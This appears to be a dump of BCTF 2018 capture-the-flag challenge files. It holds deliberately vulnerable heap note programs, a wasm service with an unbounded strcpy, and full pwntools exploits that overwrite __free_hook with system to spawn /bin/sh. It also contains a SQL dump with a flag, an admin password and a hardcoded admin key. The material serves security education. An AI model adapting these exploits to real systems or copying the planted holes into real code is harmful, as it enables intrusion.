id){ 65 | 66 | if(id<0||id>=1000||!person_list[id].inuse){ 67 | puts("person id is invalid"); 68 | return -1; 69 | } 70 | 71 | person_list[id].inuse=0; 72 | return 0; 73 | } 74 | EMSCRIPTEN_KEEPALIVE 75 | int change_name(int id,char *new_name){ 76 | if(id<0||id>=1000||!person_list[id].inuse){ 77 | puts("person id is invalid"); 78 | return -1; 79 | } 80 | strcpy(person_list[id].name,new_name); 81 | 82 | //memcpy(person_list[id].name,new_name,24); 83 | return 0; 84 | } 85 | EMSCRIPTEN_KEEPALIVE 86 | int intro(int id){ 87 | if(id<0||id>=1000||!person_list[id].inuse){ 88 | return -1; 89 | } 90 | 91 | person_list[id].intro(person_list[id].name); 92 | return 0; 93 | } 94 | -------------------------------------------------------------------------------- /crypto/guess_number/wp/data: -------------------------------------------------------------------------------- 1 | [803433028269976293756286484176310260055521123858L, 423271123126147204349338973402111187554179025852L, 739230633955035034153969778617536690812961748049L, 50602622526983297390753747241070408989085534230L, 131417417565467074607103454954999735092336202552L, 1192046151847397198256073334529478721832257002372L, 1309222329348684694686623920674250342404852388399L, 329269233818154505917619273190251225485285676479L, 970952038930780006858113412643794252731078806421L, 1440578132937660061653864453299754511892226406703L, 686658569520569929254728773795760178452433393757L, 1453951927486263995315908011634998634121114806051L, 1191536717534171575123163851384456960515696388401L, 478896779347961137789240647846148331421063355508L, 664992593788257362344267708851832093329658874406L, 91844633720435509564916496981359840318636904830L, 300697596390413281022108599341624518077983487511L, 366561718824770287635859572028841277788949465645L, 276784102390076503361936082980074020231144168554L, 300413302873211112007488065509689463355894003808L, 38436015948930651794537245028662711636001546872L, 973160993654340663093245751357816459810127166563L] 2 | [1365840892223463733302702876120476272128611405061L, 786090984627353821115640291874612764178255425934L, 1067760135209559110146346202084653922357497474336L, 1359185882066018342127235988956050411884229171440L, 363735036541838591379797537258321186808714941566L, 1001357370146877285391777304933413732537798737985L, 264434759789679396492985870633877762518933241390L, 895780247320663966817608382862217063893363903618L, 220768904661094439227354433173711895783552863997L, 435378872878684936998532082626623468028286848169L, 739348728412928385400660940417500781663773671797L, 64996925118323153241995541573042903016642814691L, 967141135930721266109098941697851445509854525753L, 437886874941712568679584111828716784561863280507L, 1330748485121861154838254016126405991208862181892L, 1100442481609094376168576275891646457906579921458L, 420914088261513511551887409072485674897345735506L, 1114634541270707230925902684895690213268698228313L, 1176231277607371153140588545623504599853098553774L, 1452165718376084081310114544847939884551788300857L, 939260908800786091947235296540122876475867977253L, 930741626123352855521445041836393830605506187229L] -------------------------------------------------------------------------------- /pwn/three/source/heapme.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define NUM 3 7 | #define SIZ 0x40 8 | char* notes[3]; 9 | 10 | void initialize(){ 11 | setvbuf(stdin,0,2,0); 12 | setvbuf(stderr,0,2,0); 13 | setvbuf(stdout,0,2,0); 14 | alarm(0x20); 15 | } 16 | 17 | void readn(char* p,size_t n){ 18 | read(0,p,n); 19 | } 20 | 21 | int getint(){ 22 | char s[0x20]; 23 | memset(s,0,0x20); 24 | readn(s,0x20-1); 25 | return atoi(s); 26 | } 27 | 28 | int menu(){ 29 | puts("1. new"); 30 | puts("2. edit"); 31 | puts("3. delete"); 32 | printf("Your choice:"); 33 | return getint(); 34 | } 35 | 36 | void alloc(){ 37 | int i=0; 38 | for(;ii||i>=NUM||!notes[i]){ 59 | puts("No such note!"); 60 | return; 61 | } 62 | 63 | printf("Input the content:"); 64 | readn(notes[i],SIZ); 65 | puts("Done!"); 66 | } 67 | 68 | void del(){ 69 | printf("Input the idx:"); 70 | int i=getint(); 71 | if(0>i||i>=NUM||!notes[i]){ 72 | puts("No such note!"); 73 | return; 74 | } 75 | free(notes[i]); 76 | printf("Clear?(y/n):"); 77 | char c[2]; 78 | readn(c,2); 79 | if(c[0]=='y'){ 80 | notes[i]=0; 81 | } 82 | puts("Done!"); 83 | } 84 | 85 | int main() 86 | { 87 | initialize(); 88 | while(1){ 89 | switch(menu()){ 90 | case 1: 91 | alloc(); 92 | break; 93 | case 2: 94 | edit(); 95 | break; 96 | case 3: 97 | del(); 98 | break; 99 | default: 100 | exit(0); 101 | } 102 | } 103 | return 0; 104 | } 105 | 106 | -------------------------------------------------------------------------------- /pwn/three/exploit/three.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | local=1 4 | pc='./three' 5 | remote_addr=['',0] 6 | aslr=False 7 | context.log_level=True 8 | 9 | libc=ELF('./libc.so.6') 10 | 11 | if local==1: 12 | p = process(pc,aslr=aslr) 13 | gdb.attach(p,'c') 14 | else: 15 | p=remote(remote_addr[0],remote_addr[1]) 16 | 17 | ru = lambda x : p.recvuntil(x) 18 | sn = lambda x : p.send(x) 19 | rl = lambda : p.recvline() 20 | sl = lambda x : p.sendline(x) 21 | rv = lambda x : p.recv(x) 22 | sa = lambda a,b : p.sendafter(a,b) 23 | sla = lambda a,b : p.sendlineafter(a,b) 24 | 25 | def lg(s,addr): 26 | print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr)) 27 | 28 | def raddr(a=6): 29 | if(a==6): 30 | return u64(rv(a).ljust(8,'\x00')) 31 | else: 32 | return u64(rl().strip('\n').ljust(8,'\x00')) 33 | 34 | def choice(idx): 35 | sla("choice:",str(idx)) 36 | 37 | def add(content): 38 | choice(1) 39 | sa("content:",content) 40 | 41 | def edit(idx,content): 42 | choice(2) 43 | sla("idx:",str(idx)) 44 | sa("content:",content) 45 | 46 | def free(idx,c): 47 | choice(3) 48 | sla(":",str(idx)) 49 | sla(":",c) 50 | 51 | if __name__ == '__main__': 52 | 53 | add("123") 54 | add(p64(0x11)*8) 55 | free(1,'y') 56 | free(0,'n') 57 | edit(0,p8(0x50)) 58 | add('123') 59 | add(p64(0)) 60 | free(1,'n') 61 | edit(2,p64(0)+p64(0x91)) 62 | for i in range(0x7): 63 | free(1,'n') 64 | edit(2,p64(0)+p64(0x51)) 65 | free(0,'y') 66 | edit(2,p64(0)+p64(0x91)) 67 | free(1,'y') 68 | 69 | # Bruteforce 4 bits to make fd point to _IO_2_1_stdout_ 70 | edit(2,p64(0)+p64(0x51)+p16(0x7760)) 71 | add("123") 72 | 73 | # Modify the flag and the write pointers 74 | add(p64(0xfbad3c80)+p64(0)*3+p8(0)) 75 | rv(8) 76 | libc_addr=raddr()-0x3ed8b0 77 | lg("libc",libc_addr) 78 | libc.address=libc_addr 79 | ru("Done") 80 | free(0,'y') 81 | edit(2,p64(0)+p64(0x51)+p64(libc.symbols['__free_hook'])) 82 | add("123") 83 | edit(2,p64(0)+p64(0x61)+p64(libc.symbols['__free_hook'])) 84 | free(0,'y') 85 | add(p64(libc.symbols['system'])) 86 | edit(2,'/bin/sh\x00') 87 | choice(3) 88 | sla(":",str(2)) 89 | p.interactive() 90 | -------------------------------------------------------------------------------- /misc/easysandbox/src/syscallfilter.c: -------------------------------------------------------------------------------- 1 | #define _BSD_SOURCE // readlink 2 | #include 3 | #include // exit 4 | #include // strstr, memset 5 | #include // ElfW 6 | #include // EPERM 7 | #include // readlink 8 | #include 9 | #include "config.h" 10 | #include "seccomp-bpf.h" 11 | typedef int (*main_t)(int, char **, char **); 12 | 13 | #ifndef __unbounded 14 | # define __unbounded 15 | #endif 16 | static int install_syscall_filter(void) 17 | { 18 | struct sock_filter filter[] = { 19 | /* Validate architecture. */ 20 | VALIDATE_ARCHITECTURE, 21 | /* Grab the system call number. */ 22 | EXAMINE_SYSCALL, 23 | ALLOW_SYSCALL(read), 24 | ALLOW_SYSCALL(write), 25 | ALLOW_SYSCALL(exit), 26 | ALLOW_SYSCALL(exit_group), 27 | 28 | KILL_PROCESS 29 | }; 30 | struct sock_fprog prog = { 31 | .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])), 32 | .filter = filter, 33 | }; 34 | 35 | if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) { 36 | perror("prctl(NO_NEW_PRIVS)"); 37 | goto failed; 38 | } 39 | if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog)) { 40 | perror("prctl(SECCOMP)"); 41 | goto failed; 42 | } 43 | return 0; 44 | 45 | failed: 46 | if (errno == EINVAL) 47 | fprintf(stderr, "SECCOMP_FILTER is not available. :(\n"); 48 | return 1; 49 | } 50 | 51 | 52 | int __libc_start_main( 53 | main_t main, 54 | int argc, 55 | char *__unbounded *__unbounded ubp_av, 56 | ElfW(auxv_t) *__unbounded auxvec, 57 | __typeof (main) init, 58 | void (*fini) (void), 59 | void (*rtld_fini) (void), 60 | void *__unbounded stack_end) 61 | { 62 | int i; 63 | ssize_t len; 64 | void *libc; 65 | int (*libc_start_main)(main_t main, 66 | int, 67 | char *__unbounded *__unbounded, 68 | ElfW(auxv_t) *, 69 | __typeof (main), 70 | void (*fini) (void), 71 | void (*rtld_fini) (void), 72 | void *__unbounded stack_end); 73 | // Get __libc_start_main entry point 74 | libc = dlopen("libc.so.6", RTLD_LOCAL | RTLD_LAZY); 75 | if (!libc) { 76 | exit(1); 77 | } 78 | libc_start_main = dlsym(libc, "__libc_start_main"); 79 | if (!libc_start_main) { 80 | exit(2); 81 | } 82 | if (install_syscall_filter()) 83 | exit(3); 84 | return ((*libc_start_main)(main, argc, ubp_av, auxvec, 85 | init, fini, rtld_fini, stack_end)); 86 | } 87 | 88 | -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/css/chocolat.css: -------------------------------------------------------------------------------- 1 | body{ 2 | margin:0; 3 | padding:0; 4 | } 5 | #Choco_overlay{ 6 | background:rgba(20, 19, 19, 0.78) !important; 7 | position: fixed; 8 | top: 0; 9 | left: 0; 10 | z-index: 1000; 11 | width: 100%; 12 | height: 100%; 13 | display:none; 14 | padding:0; 15 | margin:0; 16 | } 17 | #Choco_content{ 18 | display:none; 19 | width:800px; 20 | height:600px; 21 | z-index:1001; 22 | position:fixed; 23 | left:50%; 24 | top:50%; 25 | margin-left:-400px; 26 | margin-top:-300px; 27 | border-top:1px solid transparent;/*Yes, adjust image perfectly at the center of a box, don't know why.*/ 28 | } 29 | #Choco_left_arrow{ 30 | float:left; 31 | background-image:url(../images/left.png)!important; 32 | background-position:12%; 33 | left:-20%; 34 | } 35 | #Choco_right_arrow{ 36 | float:right; 37 | background-image:url(../images/right.png)!important; 38 | background-position:88%; 39 | left:20%; 40 | } 41 | .Choco_arrows{ 42 | background-repeat:no-repeat; 43 | display:none; 44 | position:relative; 45 | cursor:pointer; 46 | width:49%; 47 | top:-100%; 48 | height:100%; 49 | margin-top:-30px; 50 | } 51 | #Choco_container_photo{ 52 | text-align:center; 53 | width:800px; 54 | height:600px; 55 | /*background:url(../images/ajax-loader.gif) center center no-repeat;*/ 56 | } 57 | #Choco_container_description{ 58 | padding:0; 59 | height:26px; 60 | width:100%; 61 | color:#FFFFFF; 62 | font-family:Tahoma; 63 | clear:both; 64 | position:relative; 65 | font-size:12px; 66 | margin-top:-5px; 67 | overflow:hidden; 68 | visibility:hidden; 69 | } 70 | #Choco_container_title{ 71 | float:left; 72 | padding:5px; 73 | } 74 | #Choco_container_via{ 75 | padding:5px; 76 | float:right; 77 | } 78 | #Choco_container_via a{ 79 | color:gray; 80 | } 81 | #Choco_container_via a:hover{ 82 | color:white; 83 | background:gray; 84 | } 85 | #Choco_close{ 86 | width:30px; 87 | height:25px; 88 | background-image:url(../images/close.png)!important; 89 | background-repeat:no-repeat; 90 | z-index:1002; 91 | cursor:pointer; 92 | margin: 0px 0px 15px 0px; 93 | display:none; 94 | } 95 | #Choco_loading{ 96 | width:9px; 97 | height:11px; 98 | background-image:url(../images/loading.gif); 99 | background-repeat:no-repeat; 100 | z-index:1002; 101 | cursor:pointer; 102 | float:right; 103 | margin-top:-20px; 104 | display:none; 105 | } 106 | #Choco_bigImage{ 107 | display:none; 108 | position:relative; 109 | width:100%; 110 | height:100%; 111 | margin-top:-5px; 112 | } 113 | -------------------------------------------------------------------------------- /pwn/houseofAtum/source/houseofAtum.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define NUM 2 7 | #define SIZ 0x48 8 | char* notes[3]; 9 | 10 | void initialize(){ 11 | setvbuf(stdin,0,2,0); 12 | setvbuf(stderr,0,2,0); 13 | setvbuf(stdout,0,2,0); 14 | alarm(0x20); 15 | } 16 | 17 | void readn(char* p,size_t n){ 18 | read(0,p,n); 19 | } 20 | 21 | int getint(){ 22 | char s[0x20]; 23 | memset(s,0,0x20); 24 | readn(s,0x20-1); 25 | return atoi(s); 26 | } 27 | 28 | int menu(){ 29 | puts("1. new"); 30 | puts("2. edit"); 31 | puts("3. delete"); 32 | puts("4. show"); 33 | printf("Your choice:"); 34 | return getint(); 35 | } 36 | 37 | void alloc(){ 38 | int i=0; 39 | for(;ii||i>=NUM||!notes[i]){ 60 | puts("No such note!"); 61 | return; 62 | } 63 | 64 | printf("Input the content:"); 65 | readn(notes[i],SIZ); 66 | puts("Done!"); 67 | } 68 | 69 | void del(){ 70 | printf("Input the idx:"); 71 | int i=getint(); 72 | if(0>i||i>=NUM||!notes[i]){ 73 | puts("No such note!"); 74 | return; 75 | } 76 | free(notes[i]); 77 | printf("Clear?(y/n):"); 78 | char c[2]; 79 | readn(c,2); 80 | if(c[0]=='y'){ 81 | notes[i]=0; 82 | } 83 | puts("Done!"); 84 | } 85 | 86 | void show(){ 87 | printf("Input the idx:"); 88 | int i=getint(); 89 | if(0>i||i>=NUM||!notes[i]){ 90 | puts("No such note!"); 91 | return; 92 | } 93 | printf("Content:"); 94 | puts(notes[i]); 95 | puts("Done!"); 96 | } 97 | 98 | int main() 99 | { 100 | initialize(); 101 | while(1){ 102 | switch(menu()){ 103 | case 1: 104 | alloc(); 105 | break; 106 | case 2: 107 | edit(); 108 | break; 109 | case 3: 110 | del(); 111 | break; 112 | case 4: 113 | show(); 114 | break; 115 | default: 116 | exit(0); 117 | } 118 | } 119 | return 0; 120 | } 121 | 122 | -------------------------------------------------------------------------------- /misc/easysandbox/src/seccomp-bpf.h: -------------------------------------------------------------------------------- 1 | /* 2 | * seccomp example for x86 (32-bit and 64-bit) with BPF macros 3 | * 4 | * Copyright (c) 2012 The Chromium OS Authors 5 | * Authors: 6 | * Will Drewry 7 | * Kees Cook 8 | * 9 | * Use of this source code is governed by a BSD-style license that can be 10 | * found in the LICENSE file. 11 | */ 12 | #ifndef _SECCOMP_BPF_H_ 13 | #define _SECCOMP_BPF_H_ 14 | 15 | #define _GNU_SOURCE 1 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | 24 | #include 25 | #ifndef PR_SET_NO_NEW_PRIVS 26 | # define PR_SET_NO_NEW_PRIVS 38 27 | #endif 28 | 29 | #include 30 | #include 31 | #include 32 | #ifdef HAVE_LINUX_SECCOMP_H 33 | # include 34 | #endif 35 | #ifndef SECCOMP_MODE_FILTER 36 | # define SECCOMP_MODE_FILTER 2 /* uses user-supplied filter. */ 37 | # define SECCOMP_RET_KILL 0x00000000U /* kill the task immediately */ 38 | # define SECCOMP_RET_TRAP 0x00030000U /* disallow and force a SIGSYS */ 39 | # define SECCOMP_RET_ALLOW 0x7fff0000U /* allow */ 40 | struct seccomp_data { 41 | int nr; 42 | __u32 arch; 43 | __u64 instruction_pointer; 44 | __u64 args[6]; 45 | }; 46 | #endif 47 | #ifndef SYS_SECCOMP 48 | # define SYS_SECCOMP 1 49 | #endif 50 | 51 | #define syscall_nr (offsetof(struct seccomp_data, nr)) 52 | #define arch_nr (offsetof(struct seccomp_data, arch)) 53 | 54 | #if defined(__i386__) 55 | # define REG_SYSCALL REG_EAX 56 | # define ARCH_NR AUDIT_ARCH_I386 57 | #elif defined(__x86_64__) 58 | # define REG_SYSCALL REG_RAX 59 | # define ARCH_NR AUDIT_ARCH_X86_64 60 | #else 61 | # warning "Platform does not support seccomp filter yet" 62 | # define REG_SYSCALL 0 63 | # define ARCH_NR 0 64 | #endif 65 | 66 | #define VALIDATE_ARCHITECTURE \ 67 | BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr), \ 68 | BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0), \ 69 | BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL) 70 | 71 | #define EXAMINE_SYSCALL \ 72 | BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr) 73 | 74 | #define ALLOW_SYSCALL(name) \ 75 | BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_##name, 0, 1), \ 76 | BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW) 77 | 78 | #define BLOCK_SYSCALL(name) \ 79 | BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_##name, 0, 1), \ 80 | BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL) 81 | #define BLOCK_X32ABI\ 82 | BPF_JUMP(BPF_JMP+BPF_JGE+BPF_K,0x40000000,0,1)\ 83 | BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL) 84 | 85 | #define KILL_PROCESS \ 86 | BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL) 87 | 88 | #define ALLOW_PROCESS \ 89 | BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW) 90 | #endif /* _SECCOMP_BPF_H_ */ 91 | -------------------------------------------------------------------------------- /pwn/houseofAtum/exploit/houseofAtum.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | local=1 4 | pc='./houesofAtum' 5 | remote_addr=['',0] 6 | aslr=False 7 | #context.log_level=True 8 | 9 | libc=ELF('./libc.so.6') 10 | 11 | if local==1: 12 | #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'}) 13 | p = process(pc,aslr=aslr) 14 | # gdb.attach(p,'c') 15 | else: 16 | p=remote(remote_addr[0],remote_addr[1]) 17 | 18 | ru = lambda x : p.recvuntil(x) 19 | sn = lambda x : p.send(x) 20 | rl = lambda : p.recvline() 21 | sl = lambda x : p.sendline(x) 22 | rv = lambda x : p.recv(x) 23 | sa = lambda a,b : p.sendafter(a,b) 24 | sla = lambda a,b : p.sendlineafter(a,b) 25 | 26 | def lg(s,addr): 27 | print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr)) 28 | 29 | def raddr(a=6): 30 | if(a==6): 31 | return u64(rv(a).ljust(8,'\x00')) 32 | else: 33 | return u64(rl().strip('\n').ljust(8,'\x00')) 34 | 35 | def choice(idx): 36 | sla("choice:",str(idx)) 37 | 38 | def add(content): 39 | choice(1) 40 | sa("content:",content) 41 | 42 | def edit(idx,content): 43 | choice(2) 44 | sla("idx:",str(idx)) 45 | sa("content:",content) 46 | 47 | def free(idx,c): 48 | choice(3) 49 | sla(":",str(idx)) 50 | sla(":",c) 51 | 52 | def show(idx): 53 | choice(4) 54 | sla(":",str(idx)) 55 | 56 | if __name__ == '__main__': 57 | # leak heap 58 | add("123") 59 | add("123") 60 | free(1,'y') 61 | free(0,'y') 62 | add('1') 63 | show(0) 64 | ru("tent:") 65 | heap_addr=raddr()-0x231 66 | lg("Heap addr",heap_addr) 67 | 68 | 69 | # allocate a chunk at heap_addr+0x68 70 | free(0,'y') 71 | add(p64(0)*7+p64(0x61)+p64(heap_addr+0x68)) 72 | add("123") 73 | for i in range(7): 74 | free(0,'n') 75 | free(1,'y') 76 | free(0,'y') 77 | add("123") 78 | add("123") 79 | 80 | # create fake chunk and leak libc 81 | free(1,'y') 82 | add(p64(0)) 83 | edit(0,p64(0)*3+p64(0xa1)) 84 | free(0,'y') 85 | edit(1,p64(0)) 86 | add("123") 87 | free(0,'y') 88 | edit(1,p64(0)) 89 | add(p64(0x21)*9) 90 | free(0,'y') 91 | 92 | edit(1,p64(heap_addr+0x280)) 93 | add("123") 94 | for i in range(0x7): 95 | free(0,'n') 96 | free(0,'y') 97 | edit(1,p64(heap_addr+0x260)) 98 | add("A"*0x20) 99 | show(0) 100 | ru("A"*0x20) 101 | libc_addr=raddr()-0x3ebca0 102 | lg("Libc address",libc_addr) 103 | libc.address=libc_addr 104 | free(0,'y') 105 | 106 | # modify __free_hook 107 | edit(1,p64(libc.symbols['__free_hook'])) 108 | add(p64(libc.symbols['system'])) 109 | edit(1,'/bin/sh\x00') 110 | 111 | choice(3) 112 | sla(":",str(1)) 113 | p.interactive() 114 | -------------------------------------------------------------------------------- /web/Seafaring/dockers/docker_files/bctf2018.sql: -------------------------------------------------------------------------------- 1 | -- phpMyAdmin SQL Dump 2 | -- version 4.8.3 3 | -- https://www.phpmyadmin.net/ 4 | -- 5 | -- Host: localhost:3306 6 | -- Generation Time: Nov 16, 2018 at 02:34 PM 7 | -- Server version: 5.7.23 8 | -- PHP Version: 5.6.37 9 | 10 | SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; 11 | SET time_zone = "+00:00"; 12 | 13 | -- 14 | -- Database: `bctf2018` 15 | -- 16 | drop database if exists `bctf2018`; 17 | create database `bctf2018`; 18 | use bctf2018; 19 | 20 | -- -------------------------------------------------------- 21 | 22 | -- 23 | -- Table structure for table `admin` 24 | -- 25 | 26 | CREATE TABLE `admin` ( 27 | `user_id` int(10) UNSIGNED NOT NULL, 28 | `user_name` varchar(255) NOT NULL DEFAULT '', 29 | `user_pass` varchar(255) NOT NULL DEFAULT '' 30 | ) ENGINE=MyISAM DEFAULT CHARSET=utf8; 31 | 32 | -- 33 | -- Dumping data for table `admin` 34 | -- 35 | 36 | INSERT INTO `admin` (`user_id`, `user_name`, `user_pass`) VALUES 37 | (1, 'admin', 'm0xiaox1_BcTF_p@ss'), 38 | (2, 'moxiaoxi', 'moxiaoxi'); 39 | 40 | -- -------------------------------------------------------- 41 | 42 | -- 43 | -- Table structure for table `f111111ag` 44 | -- 45 | 46 | CREATE TABLE `f111111ag` ( 47 | `flllllag` varchar(50) NOT NULL 48 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8; 49 | 50 | -- 51 | -- Dumping data for table `f111111ag` 52 | -- 53 | 54 | INSERT INTO `f111111ag` (`flllllag`) VALUES 55 | ('bctf{XsS_SQL1_7438x_2xfccmk}'); 56 | 57 | -- -------------------------------------------------------- 58 | 59 | -- 60 | -- Table structure for table `feedbacks` 61 | -- 62 | 63 | CREATE TABLE `feedbacks` ( 64 | `id` int(11) NOT NULL, 65 | `message` text, 66 | `timestamp` timestamp NULL DEFAULT NULL, 67 | `user_name` text, 68 | `uid` text, 69 | `is_checked` int(11) DEFAULT NULL, 70 | `reply` varchar(500) CHARACTER SET utf8 COLLATE utf8_bin DEFAULT NULL 71 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8; 72 | 73 | -- 74 | -- Dumping data for table `feedbacks` 75 | -- 76 | 77 | INSERT INTO `feedbacks` (`id`, `message`, `timestamp`, `user_name`, `uid`, `is_checked`, `reply`) VALUES 78 | (1, 'Hint:\r\nI will tell you a secret path for web2:/admin/m0st_Secret.php! :)', '2018-11-15 12:14:57', 'admin', '8e772b3f10f445cb4338b1050b1ea9c0', 0, NULL); 79 | 80 | -- 81 | -- Indexes for dumped tables 82 | -- 83 | 84 | -- 85 | -- Indexes for table `admin` 86 | -- 87 | ALTER TABLE `admin` 88 | ADD PRIMARY KEY (`user_id`); 89 | 90 | -- 91 | -- Indexes for table `feedbacks` 92 | -- 93 | ALTER TABLE `feedbacks` 94 | ADD PRIMARY KEY (`id`); 95 | 96 | -- 97 | -- AUTO_INCREMENT for dumped tables 98 | -- 99 | 100 | -- 101 | -- AUTO_INCREMENT for table `admin` 102 | -- 103 | ALTER TABLE `admin` 104 | MODIFY `user_id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=10; 105 | 106 | -- 107 | -- AUTO_INCREMENT for table `feedbacks` 108 | -- 109 | ALTER TABLE `feedbacks` 110 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=8; 111 | 112 | -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/data/morris-data.js: -------------------------------------------------------------------------------- 1 | $(function() { 2 | 3 | Morris.Area({ 4 | element: 'morris-area-chart', 5 | data: [{ 6 | period: '2010 Q1', 7 | iphone: 2666, 8 | ipad: null, 9 | itouch: 2647 10 | }, { 11 | period: '2010 Q2', 12 | iphone: 2778, 13 | ipad: 2294, 14 | itouch: 2441 15 | }, { 16 | period: '2010 Q3', 17 | iphone: 4912, 18 | ipad: 1969, 19 | itouch: 2501 20 | }, { 21 | period: '2010 Q4', 22 | iphone: 3767, 23 | ipad: 3597, 24 | itouch: 5689 25 | }, { 26 | period: '2011 Q1', 27 | iphone: 6810, 28 | ipad: 1914, 29 | itouch: 2293 30 | }, { 31 | period: '2011 Q2', 32 | iphone: 5670, 33 | ipad: 4293, 34 | itouch: 1881 35 | }, { 36 | period: '2011 Q3', 37 | iphone: 4820, 38 | ipad: 3795, 39 | itouch: 1588 40 | }, { 41 | period: '2011 Q4', 42 | iphone: 15073, 43 | ipad: 5967, 44 | itouch: 5175 45 | }, { 46 | period: '2012 Q1', 47 | iphone: 10687, 48 | ipad: 4460, 49 | itouch: 2028 50 | }, { 51 | period: '2012 Q2', 52 | iphone: 8432, 53 | ipad: 5713, 54 | itouch: 1791 55 | }], 56 | xkey: 'period', 57 | ykeys: ['iphone', 'ipad', 'itouch'], 58 | labels: ['iPhone', 'iPad', 'iPod Touch'], 59 | pointSize: 2, 60 | hideHover: 'auto', 61 | resize: true 62 | }); 63 | 64 | Morris.Donut({ 65 | element: 'morris-donut-chart', 66 | data: [{ 67 | label: "Download Sales", 68 | value: 12 69 | }, { 70 | label: "In-Store Sales", 71 | value: 30 72 | }, { 73 | label: "Mail-Order Sales", 74 | value: 20 75 | }], 76 | resize: true 77 | }); 78 | 79 | Morris.Bar({ 80 | element: 'morris-bar-chart', 81 | data: [{ 82 | y: '2006', 83 | a: 100, 84 | b: 90 85 | }, { 86 | y: '2007', 87 | a: 75, 88 | b: 65 89 | }, { 90 | y: '2008', 91 | a: 50, 92 | b: 40 93 | }, { 94 | y: '2009', 95 | a: 75, 96 | b: 65 97 | }, { 98 | y: '2010', 99 | a: 50, 100 | b: 40 101 | }, { 102 | y: '2011', 103 | a: 75, 104 | b: 65 105 | }, { 106 | y: '2012', 107 | a: 100, 108 | b: 90 109 | }], 110 | xkey: 'y', 111 | ykeys: ['a', 'b'], 112 | labels: ['Series A', 'Series B'], 113 | hideHover: 'auto', 114 | resize: true 115 | }); 116 | 117 | }); 118 | -------------------------------------------------------------------------------- /pwn/easywasm/src/index.js: -------------------------------------------------------------------------------- 1 | const Module = require('./easywasm.js'); 2 | 3 | util=require('util') 4 | const wasm = Module({wasmBinaryFile: 'easywasm.wasm'}); 5 | function to_cstr(str){ 6 | var ptr = wasm.allocate(wasm.intArrayFromString(str),'i8',wasm.ALLOC_NORMAL); 7 | return ptr; 8 | } 9 | 10 | 11 | wasm.onRuntimeInitialized = function(){ 12 | var express = require("express"); 13 | var bodyParser = require("body-parser"); 14 | var app = express(); 15 | app.use(bodyParser.urlencoded({ extended: false })); 16 | var hostName = '0.0.0.0'; 17 | var port = 23333; 18 | 19 | app.all('*', function(req, res, next) { 20 | res.header("Access-Control-Allow-Origin", "*"); 21 | res.header("Access-Control-Allow-Headers", "Origin, X-Requested-With, Content-Type, Accept"); 22 | res.header("Access-Control-Allow-Methods","PUT,POST,GET,DELETE,OPTIONS"); 23 | res.header("X-Powered-By",' 3.2.1') 24 | res.header("Content-Type", "application/json;charset=utf-8"); 25 | next(); 26 | }); 27 | 28 | app.get("/add_person",function(req,res){ 29 | var name=""; 30 | var is_tutor=-1; 31 | for(var key in req.query){ 32 | if(key=='name') 33 | name=req.query[key]; 34 | if(key=='is_tutor') 35 | is_tutor=req.query[key]; 36 | 37 | } 38 | if (name!=""){ 39 | try{ 40 | result = wasm._add_person(to_cstr(name),is_tutor); 41 | } 42 | catch(e) { 43 | res.send("internal error"); 44 | return; 45 | } 46 | if (result!=-1) 47 | res.send(util.format("create person done, person id = %d",result)); 48 | else 49 | res.send("too much person"); 50 | } 51 | else 52 | res.send("name required"); 53 | }) 54 | 55 | app.get("/change_name",function(req,res){ 56 | var name=""; 57 | var id=""; 58 | for(var key in req.query){ 59 | if(key=='name') 60 | name=req.query[key]; 61 | if(key=='id') 62 | id=req.query[key]; 63 | 64 | } 65 | if (name==""){ 66 | res.send("name required"); 67 | return; 68 | } 69 | if (id==""){ 70 | res.send("id required"); 71 | return; 72 | } 73 | try{ 74 | result = wasm._change_name(id,to_cstr(name)); 75 | } 76 | catch(e) { 77 | res.send("internal error"); 78 | return; 79 | } 80 | if (result!=-1) 81 | res.send(util.format("done")); 82 | else 83 | res.send("invalid id"); 84 | 85 | 86 | }) 87 | 88 | app.get("/init",function(req,res){ 89 | var admin_key="828a69559bb02cea191845ef1f62894e"; 90 | var input_key=""; 91 | for(var key in req.query){ 92 | if(key=='admin_key') 93 | input_key=req.query[key]; 94 | 95 | } 96 | if (input_key==admin_key){ 97 | wasm._init(); 98 | res.send("init done"); 99 | } 100 | else 101 | res.send("wrong key"); 102 | }) 103 | app.get("/intro",function(req,res){ 104 | var id=""; 105 | for(var key in req.query){ 106 | if(key=='id') 107 | id=req.query[key]; 108 | } 109 | if (id==""){ 110 | res.send("invalid id"); 111 | return; 112 | } 113 | try { 114 | wasm._intro(id); 115 | res.send("intro sent to log window") 116 | } 117 | catch(e) { 118 | res.send("internal error"); 119 | return; 120 | } 121 | }) 122 | app.listen(port,hostName,function(){ 123 | 124 | console.log(`server run at http://${hostName}:${port}`); 125 | 126 | }); 127 | 128 | } 129 | -------------------------------------------------------------------------------- 